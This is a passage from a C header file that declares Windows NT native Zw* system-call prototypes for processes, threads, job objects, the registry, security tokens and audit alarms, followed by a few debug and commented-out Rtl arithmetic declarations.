);\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN PROCESSINFOCLASS ProcessInformationClass,\r\n    OUT PVOID ProcessInformation,\r\n    IN ULONG ProcessInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwGetNextProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Flags,\r\n    OUT PHANDLE NewProcessHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwGetNextThread (\r\n    IN HANDLE ProcessHandle,\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Flags,\r\n    OUT PHANDLE NewThreadHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryPortInformationProcess (\r\n    VOID\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationProcess (\r\n    IN HANDLE ProcessHandle,\r\n    IN PROCESSINFOCLASS ProcessInformationClass,\r\n    IN PVOID ProcessInformation,\r\n    IN ULONG ProcessInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateThread (\r\n    OUT PHANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ProcessHandle,\r\n    OUT PCLIENT_ID ClientId,\r\n    IN PCONTEXT ThreadContext,\r\n    IN PINITIAL_TEB InitialTeb,\r\n    IN BOOLEAN CreateSuspended\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenThread (\r\n    OUT PHANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN OPTIONAL PCLIENT_ID ClientId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwTerminateThread (\r\n    IN OPTIONAL HANDLE ThreadHandle,\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSuspendThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwResumeThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSuspendProcess (\r\n    IN HANDLE ProcessHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwResumeProcess (\r\n    IN HANDLE ProcessHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwGetContextThread (\r\n    IN HANDLE ThreadHandle,\r\n    _Inout_ PCONTEXT ThreadContext\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetContextThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN PCONTEXT ThreadContext\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN THREADINFOCLASS ThreadInformationClass,\r\n    OUT PVOID ThreadInformation,\r\n    IN ULONG ThreadInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN THREADINFOCLASS ThreadInformationClass,\r\n    IN PVOID ThreadInformation,\r\n    IN ULONG ThreadInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAlertThread (\r\n    IN HANDLE ThreadHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAlertResumeThread (\r\n    IN HANDLE ThreadHandle,\r\n    OUT OPTIONAL PULONG PreviousSuspendCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwImpersonateThread (\r\n    IN HANDLE ServerThreadHandle,\r\n    IN HANDLE ClientThreadHandle,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwTestAlert (\r\n    VOID\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRegisterThreadTerminatePort (\r\n    IN HANDLE PortHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetLdtEntries (\r\n    IN ULONG Selector0,\r\n    IN ULONG Entry0Low,\r\n    IN ULONG Entry0Hi,\r\n    IN ULONG Selector1,\r\n    IN ULONG Entry1Low,\r\n    IN ULONG Entry1Hi\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueueApcThread (\r\n    IN HANDLE ThreadHandle,\r\n    IN PPS_APC_ROUTINE ApcRoutine,\r\n    IN OPTIONAL PVOID ApcArgument1,\r\n    IN OPTIONAL PVOID ApcArgument2,\r\n    IN OPTIONAL PVOID ApcArgument3\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateJobObject (\r\n    OUT PHANDLE JobHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenJobObject (\r\n    OUT PHANDLE JobHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAssignProcessToJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN HANDLE ProcessHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwTerminateJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwIsProcessInJob (\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL HANDLE JobHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateJobSet (\r\n    IN ULONG NumJob,\r\n    IN PJOB_SET_ARRAY UserJobSet,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationJobObject (\r\n    IN OPTIONAL HANDLE JobHandle,\r\n    IN JOBOBJECTINFOCLASS JobObjectInformationClass,\r\n    OUT PVOID JobObjectInformation,\r\n    IN ULONG JobObjectInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationJobObject (\r\n    IN HANDLE JobHandle,\r\n    IN JOBOBJECTINFOCLASS JobObjectInformationClass,\r\n    IN PVOID JobObjectInformation,\r\n    IN ULONG JobObjectInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateKey(\r\n    OUT PHANDLE KeyHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    ULONG TitleIndex,\r\n    IN OPTIONAL PUNICODE_STRING Class,\r\n    IN ULONG CreateOptions,\r\n    OUT OPTIONAL PULONG Disposition\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwEnumerateKey(\r\n    IN HANDLE KeyHandle,\r\n    IN ULONG Index,\r\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\r\n    OUT OPTIONAL PVOID KeyInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwEnumerateValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN ULONG Index,\r\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\r\n    OUT OPTIONAL PVOID KeyValueInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFlushKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwInitializeRegistry(\r\n    IN USHORT BootCondition\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwNotifyChangeKey(\r\n    IN HANDLE KeyHandle,\r\n    IN OPTIONAL HANDLE Event,\r\n    IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,\r\n    IN OPTIONAL PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree,\r\n    OUT OPTIONAL PVOID Buffer,\r\n    IN ULONG BufferSize,\r\n    IN BOOLEAN Asynchronous\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwNotifyChangeMultipleKeys(\r\n    IN HANDLE MasterKeyHandle,\r\n    IN OPTIONAL ULONG Count,\r\n    IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[],\r\n    IN OPTIONAL HANDLE Event,\r\n    IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,\r\n    IN OPTIONAL PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree,\r\n    OUT OPTIONAL PVOID Buffer,\r\n    IN ULONG BufferSize,\r\n    IN BOOLEAN Asynchronous\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLoadKey(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLoadKey2(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLoadKeyEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN POBJECT_ATTRIBUTES SourceFile,\r\n    IN ULONG Flags,\r\n    IN OPTIONAL HANDLE TrustClassKey\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenKey(\r\n    OUT PHANDLE KeyHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryKey(\r\n    IN HANDLE KeyHandle,\r\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\r\n    OUT OPTIONAL PVOID KeyInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName,\r\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\r\n    OUT OPTIONAL PVOID KeyValueInformation,\r\n    IN ULONG Length,\r\n    OUT PULONG ResultLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryMultipleValueKey(\r\n    IN HANDLE KeyHandle,\r\n    _Inout_ PKEY_VALUE_ENTRY ValueEntries,\r\n    IN ULONG EntryCount,\r\n    OUT PVOID ValueBuffer,\r\n    _Inout_ PULONG BufferLength,\r\n    OUT OPTIONAL PULONG RequiredBufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReplaceKey(\r\n    IN POBJECT_ATTRIBUTES NewFile,\r\n    IN HANDLE TargetHandle,\r\n    IN POBJECT_ATTRIBUTES OldFile\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRenameKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING  NewName\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCompactKeys(\r\n    IN ULONG Count,\r\n    IN HANDLE KeyArray[]\r\n            );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCompressKey(\r\n    IN HANDLE Key\r\n            );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRestoreKey(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSaveKey(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSaveKeyEx(\r\n    IN HANDLE KeyHandle,\r\n    IN HANDLE FileHandle,\r\n    IN ULONG  Format\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSaveMergedKeys(\r\n    IN HANDLE HighPrecedenceKeyHandle,\r\n    IN HANDLE LowPrecedenceKeyHandle,\r\n    IN HANDLE FileHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName,\r\n    IN OPTIONAL ULONG TitleIndex,\r\n    IN ULONG Type,\r\n    IN OPTIONAL PVOID Data,\r\n    IN ULONG DataSize\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnloadKey(\r\n    IN POBJECT_ATTRIBUTES TargetKey\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnloadKey2(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnloadKeyEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN OPTIONAL HANDLE Event\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationKey(\r\n    IN HANDLE KeyHandle,\r\n    IN KEY_SET_INFORMATION_CLASS KeySetInformationClass,\r\n    IN PVOID KeySetInformation,\r\n    IN ULONG KeySetInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryOpenSubKeys(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    OUT PULONG  HandleCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryOpenSubKeysEx(\r\n    IN POBJECT_ATTRIBUTES TargetKey,\r\n    IN ULONG BufferLength,\r\n    OUT PVOID Buffer,\r\n    OUT PULONG RequiredSize\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLockRegistryKey(\r\n    IN HANDLE KeyHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLockProductActivationKeys(\r\n    _Inout_opt_ ULONG *pPrivateVer,\r\n    OUT OPTIONAL ULONG *pSafeMode\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheck (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckByType (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN OPTIONAL PSID PrincipalSelfSid,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckByTypeResultList (\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN OPTIONAL PSID PrincipalSelfSid,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    OUT PPRIVILEGE_SET PrivilegeSet,\r\n    _Inout_  PULONG PrivilegeSetLength,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateToken(\r\n    OUT PHANDLE TokenHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN TOKEN_TYPE TokenType,\r\n    IN PLUID AuthenticationId,\r\n    IN PLARGE_INTEGER ExpirationTime,\r\n    IN PTOKEN_USER User,\r\n    IN PTOKEN_GROUPS Groups,\r\n    IN PTOKEN_PRIVILEGES Privileges,\r\n    IN OPTIONAL PTOKEN_OWNER Owner,\r\n    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,\r\n    IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl,\r\n    IN PTOKEN_SOURCE TokenSource\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCompareTokens(\r\n    IN HANDLE FirstTokenHandle,\r\n    IN HANDLE SecondTokenHandle,\r\n    OUT PBOOLEAN Equal\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenThreadToken(\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN BOOLEAN OpenAsSelf,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenThreadTokenEx(\r\n    IN HANDLE ThreadHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN BOOLEAN OpenAsSelf,\r\n    IN ULONG HandleAttributes,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenProcessToken(\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenProcessTokenEx(\r\n    IN HANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    OUT PHANDLE TokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDuplicateToken(\r\n    IN HANDLE ExistingTokenHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN BOOLEAN EffectiveOnly,\r\n    IN TOKEN_TYPE TokenType,\r\n    OUT PHANDLE NewTokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFilterToken (\r\n    IN HANDLE ExistingTokenHandle,\r\n    IN ULONG Flags,\r\n    IN OPTIONAL PTOKEN_GROUPS SidsToDisable,\r\n    IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete,\r\n    IN OPTIONAL PTOKEN_GROUPS RestrictedSids,\r\n    OUT PHANDLE NewTokenHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwImpersonateAnonymousToken(\r\n    IN HANDLE ThreadHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationToken (\r\n    IN HANDLE TokenHandle,\r\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\r\n    OUT PVOID TokenInformation,\r\n    IN ULONG TokenInformationLength,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationToken (\r\n    IN HANDLE TokenHandle,\r\n    IN TOKEN_INFORMATION_CLASS TokenInformationClass,\r\n    IN PVOID TokenInformation,\r\n    IN ULONG TokenInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAdjustPrivilegesToken (\r\n    IN HANDLE TokenHandle,\r\n    IN BOOLEAN DisableAllPrivileges,\r\n    IN OPTIONAL PTOKEN_PRIVILEGES NewState,\r\n    IN OPTIONAL ULONG BufferLength,\r\n    OUT PTOKEN_PRIVILEGES PreviousState,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAdjustGroupsToken (\r\n    IN HANDLE TokenHandle,\r\n    IN BOOLEAN ResetToDefault,\r\n    IN PTOKEN_GROUPS NewState ,\r\n    IN OPTIONAL ULONG BufferLength ,\r\n    OUT PTOKEN_GROUPS PreviousState ,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPrivilegeCheck (\r\n    IN HANDLE ClientToken,\r\n    _Inout_  PPRIVILEGE_SET RequiredPrivileges,\r\n    OUT PBOOLEAN Result\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckByTypeAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN OPTIONAL PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckByTypeResultListAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN OPTIONAL PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAccessCheckByTypeResultListAndAuditAlarmByHandle (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN HANDLE ClientToken,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN OPTIONAL PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ACCESS_MASK GrantedAccess,\r\n    IN OPTIONAL PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN ObjectCreation,\r\n    IN BOOLEAN AccessGranted,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPrivilegeObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN AccessGranted\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCloseObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN BOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN OPTIONAL PVOID HandleId,\r\n    IN BOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPrivilegedServiceAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN PUNICODE_STRING ServiceName,\r\n    IN HANDLE ClientToken,\r\n    IN PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN AccessGranted\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwContinue (\r\n    IN PCONTEXT ContextRecord,\r\n    IN BOOLEAN TestAlert\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRaiseException (\r\n    IN PEXCEPTION_RECORD ExceptionRecord,\r\n    IN PCONTEXT ContextRecord,\r\n    IN BOOLEAN FirstChance\r\n    );\r\n\r\n// end_zwapi\r\n\r\nULONG\r\nDbgPrint(\r\n\tIN PCH Format,\r\n\t...\r\n\t);\r\n\r\nVOID NTAPI\r\nDebugService2 (\r\n    PVOID Arg1,\r\n    PVOID Arg2,\r\n    ULONG Service\r\n    );\r\n\r\n\r\n/*\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerAdd (\r\n    LARGE_INTEGER Addend1,\r\n    LARGE_INTEGER Addend2\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlEnlargedIntegerMultiply (\r\n    LONG Multiplicand,\r\n    LONG Multiplier\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlEnlargedUnsignedMultiply (\r\n    ULONG Multiplicand,\r\n    ULONG Multiplier\r\n    );\r\n\r\n__inline\r\nULONG\r\nNTAPI\r\nRtlEnlargedUnsignedDivide (\r\n    IN ULARGE_INTEGER Dividend,\r\n    IN ULONG Divisor,\r\n    IN PULONG Remainder OPTIONAL\r\n    );\r\n\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerNegate (\r\n    LARGE_INTEGER Subtrahend\r\n    );\r\n__inline\r\nLARGE_INTEGER\r\nNTAPI\r\nRtlLargeIntegerSubtract (\r\n    LARGE_INTEGER Minuend,\r\n    